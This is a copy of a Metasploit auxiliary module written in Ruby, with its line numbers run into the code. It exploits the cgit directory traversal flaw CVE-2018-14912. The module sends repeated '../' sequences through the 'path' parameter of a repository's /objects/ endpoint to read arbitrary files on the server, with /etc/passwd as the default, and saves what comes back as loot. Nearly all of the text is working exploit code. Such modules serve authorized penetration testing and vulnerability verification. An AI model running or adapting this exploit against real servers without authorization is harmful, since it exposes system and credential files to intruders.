Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/scanner/http/cgit_traversal.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::HttpClient7include Msf::Auxiliary::Report8include Msf::Auxiliary::Scanner910def initialize(info = {})11super(update_info(info,12'Name' => 'cgit Directory Traversal',13'Description' => %q{14This module exploits a directory traversal vulnerability which15exists in cgit < 1.2.1 cgit_clone_objects(), reachable when the16configuration flag enable-http-clone is set to 1 (default).17},18'References' =>19[20['CVE', '2018-14912'],21['URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=1627'],22['EDB', '45148']23],24'Author' =>25[26'Google Project Zero', # Vulnerability discovery27'Dhiraj Mishra' # Metasploit module28],29'DisclosureDate' => '2018-08-03',30'License' => MSF_LICENSE31))3233register_options(34[35OptString.new('FILEPATH', [true, "The path to the file to read", '/etc/passwd']),36OptString.new('TARGETURI', [true, "The base URI path of the cgit install", '/cgit/']),37OptString.new('REPO', [true, "Git repository on the remote server", '']),38OptInt.new('DEPTH', [ true, 'Depth for Path Traversal', 10 ])39])40end4142def run_host(ip)43filename = datastore['FILEPATH']44traversal = "../" * datastore['DEPTH'] << filename4546res = send_request_cgi({47'method' => 'GET',48'uri' => normalize_uri(target_uri.path, datastore['REPO'], '/objects/'),49'vars_get' => {'path' => traversal}50})5152unless res && res.code == 20053print_error('Nothing was downloaded')54return55end5657vprint_good("#{peer} - \n#{res.body}")58path = store_loot(59'cgit.traversal',60'text/plain',61ip,62res.body,63filename64)65print_good("File saved in: #{path}")66end67end686970